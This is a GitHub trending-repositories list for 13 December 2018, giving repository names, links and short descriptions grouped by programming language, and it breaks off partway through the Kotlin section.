## 2018-12-13 #### all * [GokuMohandas / practicalAI](https://github.com/GokuMohandas/practicalAI):A practical approach to learning machine learning. * [grafana / loki](https://github.com/grafana/loki):Like Prometheus, but for logs. * [eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee / eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee](https://github.com/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee):eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee * [MisterBooo / LeetCodeAnimation](https://github.com/MisterBooo/LeetCodeAnimation):Demonstrate all the questions on LeetCode in the form of animation.(用动画的形式呈现解LeetCode题目的思路) * [GoogleChromeLabs / quicklink](https://github.com/GoogleChromeLabs/quicklink):⚡️ Faster subsequent page-loads by prefetching in-viewport links during idle time * [NASA-SW-VnV / ikos](https://github.com/NASA-SW-VnV/ikos):Static analyzer for C/C++ based on the theory of Abstract Interpretation. * [devhubapp / devhub](https://github.com/devhubapp/devhub):DevHub: TweetDeck for GitHub - Android, iOS and Web 👉 * [MrRio / jsPDF](https://github.com/MrRio/jsPDF):Client-side JavaScript PDF generation for everyone. * [yeasy / docker_practice](https://github.com/yeasy/docker_practice):Learn and understand Docker technologies, with real DevOps practice! * [aws / containers-roadmap](https://github.com/aws/containers-roadmap):This is the public roadmap for AWS container services (ECS, ECR, Fargate, and EKS). * [mholt / certmagic](https://github.com/mholt/certmagic):Automatic HTTPS for any Go program: fully-managed TLS certificate issuance and renewal * [flutter / flutter](https://github.com/flutter/flutter):Flutter makes it easy and fast to build beautiful mobile apps. * [didi / mpx](https://github.com/didi/mpx):An enhanced miniprogram framework with data reactivity and deep optimizition. * [apache / incubator-dubbo](https://github.com/apache/incubator-dubbo):Apache Dubbo (incubating) is a high-performance, java based, open source RPC framework. * [guillaume-chevalier / How-to-Grow-Neat-Software-Architecture-out-of-Jupyter-Notebooks](https://github.com/guillaume-chevalier/How-to-Grow-Neat-Software-Architecture-out-of-Jupyter-Notebooks):Growing the code out of your notebooks - the right way. * [lucagez / Debucsser](https://github.com/lucagez/Debucsser):CSS debugging tool with an unpronounceable name * [Delgan / loguru](https://github.com/Delgan/loguru):Python logging made (stupidly) simple * [zziz / pwc](https://github.com/zziz/pwc):Papers with code. Sorted by stars. Updated weekly. * [Snailclimb / JavaGuide](https://github.com/Snailclimb/JavaGuide):【Java学习+面试指南】 一份涵盖大部分Java程序员所需要掌握的核心知识。 * [Microsoft / ethr](https://github.com/Microsoft/ethr):Ethr is a Network Performance Measurement Tool for TCP, UDP & HTTP. * [jellyfin / jellyfin](https://github.com/jellyfin/jellyfin):The Free Software Media Browser * [dmlc / dgl](https://github.com/dmlc/dgl):Python package built to ease deep learning on graph, on top of existing DL frameworks. * [google-research / google-research](https://github.com/google-research/google-research):Google AI Research * [google / jax](https://github.com/google/jax):GPU- and TPU-backed NumPy with differentiation and JIT compilation. * [satwikkansal / wtfpython](https://github.com/satwikkansal/wtfpython):A collection of surprising Python snippets and lesser-known features. #### unknown * [aws / containers-roadmap](https://github.com/aws/containers-roadmap):This is the public roadmap for AWS container services (ECS, ECR, Fargate, and EKS). * [guillaume-chevalier / How-to-Grow-Neat-Software-Architecture-out-of-Jupyter-Notebooks](https://github.com/guillaume-chevalier/How-to-Grow-Neat-Software-Architecture-out-of-Jupyter-Notebooks):Growing the code out of your notebooks - the right way. * [zziz / pwc](https://github.com/zziz/pwc):Papers with code. Sorted by stars. Updated weekly. * [MicrosoftEdge / MSEdge](https://github.com/MicrosoftEdge/MSEdge):Microsoft Edge * [FAQGURU / FAQGURU](https://github.com/FAQGURU/FAQGURU):A list of interview questions. This repository is everything you need to prepare for your technical interview. 🎒 🚀 🎉 * [Separius / awesome-sentence-embedding](https://github.com/Separius/awesome-sentence-embedding):A curated list of pretrained sentence(and word) embedding models * [CyC2018 / CS-Notes](https://github.com/CyC2018/CS-Notes):📚 Computer Science Learning Notes * [Ifyoudonotwantpeopleusingthemaximumchar / acterlimitthenyoushouldprobablylowerwhatthemaximumcharacterlimitis](https://github.com/Ifyoudonotwantpeopleusingthemaximumchar/acterlimitthenyoushouldprobablylowerwhatthemaximumcharacterlimitis):In honor of e98e * [OlivierLaflamme / Cheatsheet-God](https://github.com/OlivierLaflamme/Cheatsheet-God):Penetration Testing / OSCP Biggest Reference Bank / Cheatsheet * [github / gitignore](https://github.com/github/gitignore):A collection of useful .gitignore templates * [kamranahmedse / developer-roadmap](https://github.com/kamranahmedse/developer-roadmap):Roadmap to becoming a web developer in 2018 * [getify / You-Dont-Know-JS](https://github.com/getify/You-Dont-Know-JS):A book series on JavaScript. @YDKJS on twitter. * [EbookFoundation / free-programming-books](https://github.com/EbookFoundation/free-programming-books):📚 Freely available programming books * [sindresorhus / awesome](https://github.com/sindresorhus/awesome):😎 Curated list of awesome lists * [30-seconds / 30-seconds-of-react](https://github.com/30-seconds/30-seconds-of-react):Curated collection of useful React snippets that you can understand in 30 seconds or less. * [carolcodes / youtube-br-desenvolvimento](https://github.com/carolcodes/youtube-br-desenvolvimento):Repositório de canais no Youtube BR sobre desenvolvimento * [fffaraz / awesome-cpp](https://github.com/fffaraz/awesome-cpp):A curated list of awesome C++ (or C) frameworks, libraries, resources, and shiny things. Inspired by awesome-... stuff. * [i0natan / nodebestpractices](https://github.com/i0natan/nodebestpractices):The largest Node.JS best practices list (November 2018) * [MunGell / awesome-for-beginners](https://github.com/MunGell/awesome-for-beginners):A list of awesome beginners-friendly projects. * [vuejs / awesome-vue](https://github.com/vuejs/awesome-vue):🎉 A curated list of awesome things related to Vue.js * [jwasham / coding-interview-university](https://github.com/jwasham/coding-interview-university):A complete computer science study plan to become a software engineer. * [firstcontributions / first-contributions](https://github.com/firstcontributions/first-contributions):🚀 ✨ Help beginners to contribute to open source projects * [kelseyhightower / kubernetes-the-hard-way](https://github.com/kelseyhightower/kubernetes-the-hard-way):Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts. * [gpakosz / .tmux](https://github.com/gpakosz/.tmux):🇫🇷 Oh My Tmux! My pretty + versatile tmux configuration that just works (imho the best tmux configuration) * [ossu / computer-science](https://github.com/ossu/computer-science):🎓 Path to a free self-taught education in Computer Science! #### python * [eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee / eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee](https://github.com/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee):eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee * [Delgan / loguru](https://github.com/Delgan/loguru):Python logging made (stupidly) simple * [google-research / google-research](https://github.com/google-research/google-research):Google AI Research * [dmlc / dgl](https://github.com/dmlc/dgl):Python package built to ease deep learning on graph, on top of existing DL frameworks. * [google / jax](https://github.com/google/jax):GPU- and TPU-backed NumPy with differentiation and JIT compilation. * [satwikkansal / wtfpython](https://github.com/satwikkansal/wtfpython):A collection of surprising Python snippets and lesser-known features. * [leisurelicht / wtfpython-cn](https://github.com/leisurelicht/wtfpython-cn):wtfpython的中文翻译/施工结束/ 能力有限,欢迎帮我改进翻译 * [tensorflow / models](https://github.com/tensorflow/models):Models and examples built with TensorFlow * [wonderfulsuccess / weixin_crawler](https://github.com/wonderfulsuccess/weixin_crawler):高效微信公众号历史文章和阅读数据爬虫powered by scrapy * [donnemartin / system-design-primer](https://github.com/donnemartin/system-design-primer):Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards. * [google-research / bert](https://github.com/google-research/bert):TensorFlow code and pre-trained models for BERT * [toddmotto / public-apis](https://github.com/toddmotto/public-apis):A collective list of free APIs for use in software and web development. * [TheAlgorithms / Python](https://github.com/TheAlgorithms/Python):All Algorithms implemented in Python * [kriadmin / 30-seconds-of-python-code](https://github.com/kriadmin/30-seconds-of-python-code):Python implementation of 30-seconds-of-code * [osforscience / TensorFlow-Course](https://github.com/osforscience/TensorFlow-Course):Simple and ready-to-use tutorials for TensorFlow * [keras-team / keras](https://github.com/keras-team/keras):Deep Learning for humans * [vinta / awesome-python](https://github.com/vinta/awesome-python):A curated list of awesome Python frameworks, libraries, software and resources * [diveintodeeplearning / d2l-zh](https://github.com/diveintodeeplearning/d2l-zh):《动手学深度学习》 * [pallets / flask](https://github.com/pallets/flask):The Python micro framework for building web applications. * [home-assistant / home-assistant](https://github.com/home-assistant/home-assistant):🏡 Open source home automation that puts local control and privacy first * [rg3 / youtube-dl](https://github.com/rg3/youtube-dl):Command-line program to download videos from YouTube.com and other video sites * [meolu / walle-web](https://github.com/meolu/walle-web):walle - 瓦力 开源项目代码部署平台 * [cakinney / secure](https://github.com/cakinney/secure):Secure 🔒 headers and cookies for Python web frameworks * [taki0112 / partial_conv-Tensorflow](https://github.com/taki0112/partial_conv-Tensorflow):Simple Tensorflow implementation of "Partial Convolution based Padding" (partialconv) * [santinic / pampy](https://github.com/santinic/pampy):Pampy: The Pattern Matching for Python you always dreamed of. #### swift * [inamiy / SwiftRewriter](https://github.com/inamiy/SwiftRewriter):Swift code formatter using SwiftSyntax. * [nicklockwood / Euclid](https://github.com/nicklockwood/Euclid):A Swift library for creating and manipulating 3D geometry * [IvanVorobei / SPStorkController](https://github.com/IvanVorobei/SPStorkController):Modal controller as in mail or Apple music application * [Ramotion / swift-ui-animation-components-and-libraries](https://github.com/Ramotion/swift-ui-animation-components-and-libraries):Swift UI libraries, iOS components and animations by @Ramotion - https://dev.ramotion.com/gthbr * [SvenTiigi / WhatsNewKit](https://github.com/SvenTiigi/WhatsNewKit):Showcase your awesome new app features 📱 * [mac-cain13 / R.swift](https://github.com/mac-cain13/R.swift):Get strong typed, autocompleted resources like images, fonts and segues in Swift projects * [app-developers / top](https://github.com/app-developers/top):Top App Developers - December 2018 * [vsouza / awesome-ios](https://github.com/vsouza/awesome-ios):A curated list of awesome iOS ecosystem, including Objective-C and Swift Projects * [applidium / ADOverlayContainer](https://github.com/applidium/ADOverlayContainer):iOS UI library to implement overlay based interfaces * [lhc70000 / iina](https://github.com/lhc70000/iina):The modern video player for macOS. * [zenangst / Family](https://github.com/zenangst/Family):🚸 A child view controller framework that makes setting up your parent controllers as easy as pie. * [serhii-londar / open-source-mac-os-apps](https://github.com/serhii-londar/open-source-mac-os-apps):🚀 Awesome list of open source applications for macOS. * [uber / needle](https://github.com/uber/needle):Compile-time safe Swift dependency injection framework with real code * [pointfreeco / swift-snapshot-testing](https://github.com/pointfreeco/swift-snapshot-testing):📸 Delightful Swift snapshot testing. * [danielgindi / Charts](https://github.com/danielgindi/Charts):Beautiful charts for iOS/tvOS/OSX! The Apple side of the crossplatform MPAndroidChart. * [Juanpe / SkeletonView](https://github.com/Juanpe/SkeletonView):An elegant way to show users that something is happening and also prepare them to which contents he is waiting * [SwifterSwift / SwifterSwift](https://github.com/SwifterSwift/SwifterSwift):A handy collection of more than 500 native Swift extensions to boost your productivity. * [JohnCoates / Aerial](https://github.com/JohnCoates/Aerial):Apple TV Aerial Screensaver for Mac * [LinusU / Marionette](https://github.com/LinusU/Marionette):🧸 Swift library which provides a high-level API to control a WKWebView * [marcosgriselli / ViewAnimator](https://github.com/marcosgriselli/ViewAnimator):ViewAnimator brings your UI to life with just one line * [yanue / V2rayU](https://github.com/yanue/V2rayU):V2rayU,基于v2ray核心的mac版客户端,用于科学上网,使用swift4.2编写,支持vmess,shadowsocks,socks5等服务协议, 支持二维码,剪贴板导入,手动配置,二维码分享等 * [RealDeviceMap / RealDeviceMap](https://github.com/RealDeviceMap/RealDeviceMap):RealDeviceMap is a Scanner thats uses real devices to scan for Raids, Gym, Pokestops and even Pokemon * [onevcat / Kingfisher](https://github.com/onevcat/Kingfisher):A lightweight, pure-Swift library for downloading and caching images from the web. * [ipader / SwiftGuide](https://github.com/ipader/SwiftGuide):这份指南汇集了Swift语言主流学习资源,并以开发者的视角整理编排。 http://dev.swiftguide.cn * [Ramotion / folding-cell](https://github.com/Ramotion/folding-cell):📃 FoldingCell is an expanding content cell with animation made by @Ramotion - https://dev.ramotion.com/gthbr #### objective-c * [didi / DoraemonKit](https://github.com/didi/DoraemonKit):A full-featured iOS development assistant. You deserve it. * [Tencent / QMUI_iOS](https://github.com/Tencent/QMUI_iOS):QMUI iOS——致力于提高项目 UI 开发效率的解决方案 * [Instagram / IGListKit](https://github.com/Instagram/IGListKit):A data-driven UICollectionView framework for building fast and flexible lists. * [TKkk-iOSer / WeChatPlugin-MacOS](https://github.com/TKkk-iOSer/WeChatPlugin-MacOS):一款功能强大的 macOS 版微信小助手 v1.7.3 / A powerful assistant for wechat macOS * [airbnb / lottie-ios](https://github.com/airbnb/lottie-ios):An iOS library to natively render After Effects vector animations * [lefex / iWeChat](https://github.com/lefex/iWeChat):我们一起来还原微信。希望通过 iWeChat 这个项目能过勾勒出微信的设计,使用到的技术手段等 * [expo / expo](https://github.com/expo/expo):The Expo platform for making cross-platform mobile apps * [AFNetworking / AFNetworking](https://github.com/AFNetworking/AFNetworking):A delightful networking framework for iOS, macOS, watchOS, and tvOS. * [CocoaLumberjack / CocoaLumberjack](https://github.com/CocoaLumberjack/CocoaLumberjack):A fast & simple, yet powerful & flexible logging framework for Mac and iOS * [luggit / react-native-config](https://github.com/luggit/react-native-config):Bring some 12 factor love to your mobile apps! * [AAChartModel / AAChartKit](https://github.com/AAChartModel/AAChartKit):📈 📊 🚀 An elegant and friendly chart library for iOS . Powerful,supports line, spline, area, areaspline, column, bar, pie, scatter, angular gauges, arearange, areasplinerange, columnrange, bubble, box plot, error bars, funnel, waterfall and polar chart types.极其精美而又强大的 iOS 图表组件库,支持柱状图、条形图、折线图、曲线图、折线填充图、曲线填充图、气泡图、扇形图、环形图、散点图、雷达图、混合图等各种类型的多达几十种的信息图图表,… * [SDWebImage / SDWebImage](https://github.com/SDWebImage/SDWebImage):Asynchronous image downloader with cache support as a UIImageView category * [realm / realm-cocoa](https://github.com/realm/realm-cocoa):Realm is a mobile database: a replacement for Core Data & SQLite * [OpenEmu / OpenEmu](https://github.com/OpenEmu/OpenEmu):🕹 Retro video game emulation for macOS * [MortimerGoro / MGSwipeTableCell](https://github.com/MortimerGoro/MGSwipeTableCell):An easy to use UITableViewCell subclass that allows to display swippable buttons with a variety of transitions. * [ridiculousfish / HexFiend](https://github.com/ridiculousfish/HexFiend):A fast and clever hex editor for Mac OS X * [DanTheMan827 / ios-app-signer](https://github.com/DanTheMan827/ios-app-signer):This is an app for OS X that can (re)sign apps and bundle them into ipa files that are ready to be installed on an iOS device. * [huangzhibiao / BGFMDB](https://github.com/huangzhibiao/BGFMDB):BGFMDB让数据的增删改查分别只需要一行代码即可,就是这么简单任性,本库几乎支持存储ios所有基本的自带数据类型. * [NYTimes / NYTPhotoViewer](https://github.com/NYTimes/NYTPhotoViewer):A modern photo viewing experience for iOS. * [MetalPetal / MetalPetal](https://github.com/MetalPetal/MetalPetal):A GPU-accelerated image and video processing framework based on Metal. * [kimxogus / react-native-version-check](https://github.com/kimxogus/react-native-version-check):A version checker for react-native applications * [sparkle-project / Sparkle](https://github.com/sparkle-project/Sparkle):A software update framework for macOS * [OneDrive / onedrive-sdk-ios](https://github.com/OneDrive/onedrive-sdk-ios):OneDrive SDK for iOS * [tradle / react-native-udp](https://github.com/tradle/react-native-udp):node's dgram for react-native * [appcelerator / titanium_mobile](https://github.com/appcelerator/titanium_mobile):🚀 Native iOS-, Android- and Windows Apps with JavaScript #### javascript * [GoogleChromeLabs / quicklink](https://github.com/GoogleChromeLabs/quicklink):⚡️ Faster subsequent page-loads by prefetching in-viewport links during idle time * [MrRio / jsPDF](https://github.com/MrRio/jsPDF):Client-side JavaScript PDF generation for everyone. * [didi / mpx](https://github.com/didi/mpx):An enhanced miniprogram framework with data reactivity and deep optimizition. * [lucagez / Debucsser](https://github.com/lucagez/Debucsser):CSS debugging tool with an unpronounceable name * [oussamahamdaoui / forgJs](https://github.com/oussamahamdaoui/forgJs):ForgJs is a javascript lightweight object validator. Go check the Quick start section and start coding with love * [30-seconds / 30-seconds-of-code](https://github.com/30-seconds/30-seconds-of-code):Curated collection of useful JavaScript snippets that you can understand in 30 seconds or less. * [vuejs / vue](https://github.com/vuejs/vue):🖖 A progressive, incrementally-adoptable JavaScript framework for building UI on the web. * [facebook / react](https://github.com/facebook/react):A declarative, efficient, and flexible JavaScript library for building user interfaces. * [commitizen / cz-cli](https://github.com/commitizen/cz-cli):The commitizen command line utility. * [mdbootstrap / bootstrap-material-design](https://github.com/mdbootstrap/bootstrap-material-design):Material Design for Bootstrap - Powerful and free UI KIT for Bootstrap 4 * [lovell / sharp](https://github.com/lovell/sharp):High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP and TIFF images. Uses the libvips library. * [GoogleChrome / puppeteer](https://github.com/GoogleChrome/puppeteer):Headless Chrome Node API * [leonardomso / 33-js-concepts](https://github.com/leonardomso/33-js-concepts):📜 33 concepts every JavaScript developer should know. * [google / open-location-code](https://github.com/google/open-location-code):Open Location Code is a library to generate short codes that can be used like street addresses, for places where street addresses don't exist. * [gatsbyjs / gatsby](https://github.com/gatsbyjs/gatsby):Build blazing fast, modern apps and websites with React * [axios / axios](https://github.com/axios/axios):Promise based HTTP client for the browser and node.js * [NervJS / taro](https://github.com/NervJS/taro):多端统一开发框架,支持用 React 的开发方式编写一次代码,生成能运行在微信小程序/百度智能小程序/支付宝小程序、H5、React Native 等的应用。 https://taro.js.org/ * [GitSquared / edex-ui](https://github.com/GitSquared/edex-ui):A science fiction terminal emulator designed for large touchscreens that runs on all major OSs. * [pcottle / learnGitBranching](https://github.com/pcottle/learnGitBranching):An interactive git visualization to challenge and educate! * [airbnb / javascript](https://github.com/airbnb/javascript):JavaScript Style Guide * [facebook / create-react-app](https://github.com/facebook/create-react-app):Set up a modern web app by running one command. * [anubhavsrivastava / awesome-ui-component-library](https://github.com/anubhavsrivastava/awesome-ui-component-library):Curated list of framework component libraries for UI styles/toolkit * [facebook / react-native](https://github.com/facebook/react-native):A framework for building native apps with React. * [mrdoob / three.js](https://github.com/mrdoob/three.js):JavaScript 3D library. * [ant-design / ant-design-pro](https://github.com/ant-design/ant-design-pro):👨🏻‍💻👩🏻‍💻 Use Ant Design like a Pro! #### go * [grafana / loki](https://github.com/grafana/loki):Like Prometheus, but for logs. * [yeasy / docker_practice](https://github.com/yeasy/docker_practice):Learn and understand Docker technologies, with real DevOps practice! * [mholt / certmagic](https://github.com/mholt/certmagic):Automatic HTTPS for any Go program: fully-managed TLS certificate issuance and renewal * [Microsoft / ethr](https://github.com/Microsoft/ethr):Ethr is a Network Performance Measurement Tool for TCP, UDP & HTTP. * [rendora / rendora](https://github.com/rendora/rendora):dynamic server-side rendering using headless Chrome to effortlessly solve the SEO problem for modern javascript websites * [kubernetes / kubernetes](https://github.com/kubernetes/kubernetes):Production-Grade Container Scheduling and Management * [wagoodman / dive](https://github.com/wagoodman/dive):A tool for exploring each layer in a docker image * [golang / go](https://github.com/golang/go):The Go programming language * [etcd-io / etcd](https://github.com/etcd-io/etcd):Distributed reliable key-value store for the most critical data of a distributed system * [fatedier / frp](https://github.com/fatedier/frp):A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. * [kubernetes-sigs / kind](https://github.com/kubernetes-sigs/kind):Kubernetes IN Docker - local clusters for testing Kubernetes * [thecodingmachine / gotenberg](https://github.com/thecodingmachine/gotenberg):A Docker-powered stateless API for converting HTML, Markdown and Office documents to PDF * [gin-gonic / gin](https://github.com/gin-gonic/gin):Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better performance -- up to 40 times faster. If you need smashing performance, get yourself some Gin. * [istio / istio](https://github.com/istio/istio):Connect, secure, control, and observe services. * [crossplaneio / crossplane](https://github.com/crossplaneio/crossplane):An Open Source Multicloud Control Plane * [prometheus / prometheus](https://github.com/prometheus/prometheus):The Prometheus monitoring system and time series database. * [knative / docs](https://github.com/knative/docs):User documentation for Knative components * [deislabs / osiris](https://github.com/deislabs/osiris):A general purpose, scale-to-zero component for Kubernetes * [v2ray / v2ray-core](https://github.com/v2ray/v2ray-core):A platform for building proxies to bypass network restrictions. * [helm / helm](https://github.com/helm/helm):The Kubernetes Package Manager * [avelino / awesome-go](https://github.com/avelino/awesome-go):A curated list of awesome Go frameworks, libraries and software * [txthinking / brook](https://github.com/txthinking/brook):Brook is a cross-platform(Linux/MacOS/Windows/Android/iOS) proxy/vpn software * [pingcap / tidb](https://github.com/pingcap/tidb):TiDB is a distributed HTAP database compatible with the MySQL protocol * [v2ray / domain-list-community](https://github.com/v2ray/domain-list-community):Community managed domain list * [mholt / caddy](https://github.com/mholt/caddy):Fast, cross-platform HTTP/2 web server with automatic HTTPS #### java * [apache / incubator-dubbo](https://github.com/apache/incubator-dubbo):Apache Dubbo (incubating) is a high-performance, java based, open source RPC framework. * [Snailclimb / JavaGuide](https://github.com/Snailclimb/JavaGuide):【Java学习+面试指南】 一份涵盖大部分Java程序员所需要掌握的核心知识。 * [Tencent / QMUI_Android](https://github.com/Tencent/QMUI_Android):提高 Android UI 开发效率的 UI 库 * [alibaba / arthas](https://github.com/alibaba/arthas):Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas * [qunarcorp / qmq](https://github.com/qunarcorp/qmq):QMQ是去哪儿网内部广泛使用的消息中间件,自2012年诞生以来在去哪儿网所有业务场景中广泛的应用,包括跟交易息息相关的订单场景; 也包括报价搜索等高吞吐量场景。 * [alipay / sofa-ark](https://github.com/alipay/sofa-ark):SOFAArk is a light-weight,java based classloader isolation framework. * [macrozheng / mall](https://github.com/macrozheng/mall):mall项目是一套电商系统,包括前台商城系统及后台管理系统,基于SpringBoot+MyBatis实现。 前台商城系统包含首页门户、商品推荐、商品搜索、商品展示、购物车、订单流程、会员中心、客户服务、帮助中心等模块。 后台管理系统包含商品管理、订单管理、会员管理、促销管理、运营管理、内容管理、统计报表、财务管理、权限管理、设置等模块。 * [crossoverJie / JCSprout](https://github.com/crossoverJie/JCSprout):👨‍🎓 Java Core Sprout : basic, concurrent, algorithm * [spring-projects / spring-boot](https://github.com/spring-projects/spring-boot):Spring Boot * [eugenp / tutorials](https://github.com/eugenp/tutorials):The "REST With Spring" Course: * [elastic / elasticsearch](https://github.com/elastic/elasticsearch):Open Source, Distributed, RESTful Search Engine * [b3log / symphony](https://github.com/b3log/symphony):🎶 一款用 Java 实现的现代化社区(论坛/BBS/社交网络/博客)平台。 https://hacpai.com * [SplashCodes / JAViewer](https://github.com/SplashCodes/JAViewer):更优雅的驾车体验 * [ctripcorp / apollo](https://github.com/ctripcorp/apollo):Apollo(阿波罗)是携程框架部门研发的分布式配置中心,能够集中化管理应用不同环境、不同集群的配置,配置修改后能够实时推送到应用端,并且具备规范的权限、流程治理等特性,适用于微服务配置管理场景。 * [TheAlgorithms / Java](https://github.com/TheAlgorithms/Java):All Algorithms implemented in Java * [alipay / sofa-boot](https://github.com/alipay/sofa-boot):SOFABoot is a framework that enhances Spring Boot and fully compatible with it, provides readiness check, class isolation, etc. * [mercyblitz / tech-weekly](https://github.com/mercyblitz/tech-weekly):「小马哥技术周报」 * [spring-projects / spring-framework](https://github.com/spring-projects/spring-framework):Spring Framework * [Meituan-Dianping / Leaf](https://github.com/Meituan-Dianping/Leaf):Distributed ID Generate Service * [linlinjava / litemall](https://github.com/linlinjava/litemall):又一个小商城。litemall = Spring Boot后端 + Vue管理员前端 + 微信小程序用户前端 * [spring-cloud-incubator / spring-cloud-alibaba](https://github.com/spring-cloud-incubator/spring-cloud-alibaba):Spring Cloud Alibaba provides a one-stop solution for application development for the distributed solutions of Alibaba middleware. * [b3log / solo](https://github.com/b3log/solo):🎸 一款小而美的 Java 博客系统。 https://hacpai.com/tag/solo * [Wechat-Group / weixin-java-tools](https://github.com/Wechat-Group/weixin-java-tools):全能微信Java开发工具包,支持包括微信支付、开放平台、小程序、企业微信/企业号和公众号等的后端开发 * [alibaba / Sentinel](https://github.com/alibaba/Sentinel):A lightweight flow-control library providing high-available protection and monitoring (高可用防护的流量管理框架) * [google / guava](https://github.com/google/guava):Google core libraries for Java #### html * [valentinxxx / nginxconfig.io](https://github.com/valentinxxx/nginxconfig.io):⚙️ NGiИX config generator generator on steroids 💉 * [h5bp / Front-end-Developer-Interview-Questions](https://github.com/h5bp/Front-end-Developer-Interview-Questions):A list of helpful front-end related questions you can use to interview potential candidates, test yourself or completely ignore. * [flutterchina / flutter-in-action](https://github.com/flutterchina/flutter-in-action):《Flutter实战》电子书 * [octocat / Spoon-Knife](https://github.com/octocat/Spoon-Knife):This repo is for demonstration purposes only. * [google / styleguide](https://github.com/google/styleguide):Style guides for Google-originated open-source projects * [sebastianruder / NLP-progress](https://github.com/sebastianruder/NLP-progress):Repository to track the progress in Natural Language Processing (NLP), including the datasets and the current state-of-the-art for the most common NLP tasks. * [wesbos / JavaScript30](https://github.com/wesbos/JavaScript30):30 Day Vanilla JS Challenge * [ionic-team / ionic](https://github.com/ionic-team/ionic):Build amazing native and progressive web apps with open web technologies. One app running on everything 🎉 * [iliakan / javascript-tutorial-en](https://github.com/iliakan/javascript-tutorial-en):Modern JavaScript Tutorial * [qiubaiying / qiubaiying.github.io](https://github.com/qiubaiying/qiubaiying.github.io):BY Blog -> * [almasaeed2010 / AdminLTE](https://github.com/almasaeed2010/AdminLTE):AdminLTE - Free Premium Admin control Panel Theme Based On Bootstrap 3.x * [zeit / now-github-starter](https://github.com/zeit/now-github-starter):Starter project to demonstrate a project whose pull requests get automatically deployed * [swagger-api / swagger-codegen](https://github.com/swagger-api/swagger-codegen):swagger-codegen contains a template-driven engine to generate documentation, API clients and server stubs in different languages by parsing your OpenAPI / Swagger definition. * [froala / design-blocks](https://github.com/froala/design-blocks):A set of 170+ Bootstrap based design blocks ready to be used to create clean modern websites. * [alphapapa / unpackaged.el](https://github.com/alphapapa/unpackaged.el):A collection of useful Emacs Lisp code that isn't substantial enough to be packaged * [portainer / portainer](https://github.com/portainer/portainer):Simple management UI for Docker * [KaiserY / trpl-zh-cn](https://github.com/KaiserY/trpl-zh-cn):Rust 程序设计语言(第二版) * [OpenAPITools / openapi-generator](https://github.com/OpenAPITools/openapi-generator):OpenAPI Generator allows generation of API client libraries (SDK generation), server stubs, documentation and configuration automatically given an OpenAPI Spec (v2, v3) * [apachecn / scikit-learn-doc-zh](https://github.com/apachecn/scikit-learn-doc-zh):📖 [译] scikit-learn(sklearn) 中文文档 * [ConsenSys / smart-contract-best-practices](https://github.com/ConsenSys/smart-contract-best-practices):A guide to smart contract security best practices * [Microsoft / dotnet](https://github.com/Microsoft/dotnet):This repo is the official home of .NET on GitHub. It's a great starting point to find many .NET OSS projects from Microsoft and the community, including many that are part of the .NET Foundation. * [expressjs / expressjs.com](https://github.com/expressjs/expressjs.com): * [timarney / react-app-rewired](https://github.com/timarney/react-app-rewired):Override create-react-app webpack configs without ejecting * [mdn / learning-area](https://github.com/mdn/learning-area):Github repo for the MDN Learning Area. * [kennethreitz / requests-html](https://github.com/kennethreitz/requests-html):Pythonic HTML Parsing for Humans™ #### kotlin * [sourcerer-io / sourcerer-app](https://github.com/sourcerer-io/sourcerer-app):🦄 Sourcerer app makes a visual profile from your GitHub and git repositories. * [Trendyol / BubbleScrollBar](https://github.com/Trendyol/BubbleScrollBar): * [shadowsocks / shadowsocks-android](https://github.com/shadowsocks/shadowsocks-android):A shadowsocks client for Android * [wajahatkarim3 / EasyFlipViewPager](https://github.com/wajahatkarim3/EasyFlipViewPager):📖 The library for creating book and card flip animations in ViewPager in Android * [jaredrummler / Cyanea](https://github.com/jaredrummler/Cyanea):A theme engine for Android * [googlesamples / android-architecture-components](https://github.com/googlesamples/android-architecture-components):Samples for Android Architecture Components. * [googlesamples / android-sunflower](https://github.com/googlesamples/android-sunflower):A gardening app illustrating Android development best practices with Android Jetpack. * [JetBrains / kotlin](https://github.com/JetBrains/kotlin):The Kotlin Programming Language * [KotlinBy / awesome-kotlin](https://github.com/KotlinBy/awesome-kotlin):A curated list of awesome Kotlin related stuff Inspired by awesome-java. * [rongi / klaster](https://github.com/rongi/klaster):Declare RecyclerView adapters in a functional way, without any boilerplate and subclassing. No compromises on flexibility. If it's possible to do something by subclassing, it's possible to do it with this library. * [nickbutcher / plaid](https://github.com/nickbutcher/plaid):An Android app which provides design news & inspiration as well as being an example of implementing material design. * [afollestad / material-dialogs](https://github.com/afollestad/material-dialogs):[Version 2 is now a RC] A beautiful and fluid dialogs API for Kotlin & Android. * [square / kotlinpoet](https://github.com/square/kotlinpoet):A Kotlin API for generating .kt source files. * [mercari / RxRedux](https://github.com/mercari/RxRedux):Micro-framework for Redux implemented in Kotlin * [Kotlin / kotlinx.coroutines](https://github.com/Kotlin/kotlinx.coroutines):Library support for Kotlin coroutines * [githubwing / DroidSword](https://github.com/githubwing/DroidSword):[xposed module]Android apk逆向快速定位,灰色按钮克星。Android reverse tool * [ktorio / ktor](https://github.com/ktorio/ktor):Framework for quickly creating connected applications in Kotlin with minimal effort * [kittinunf / 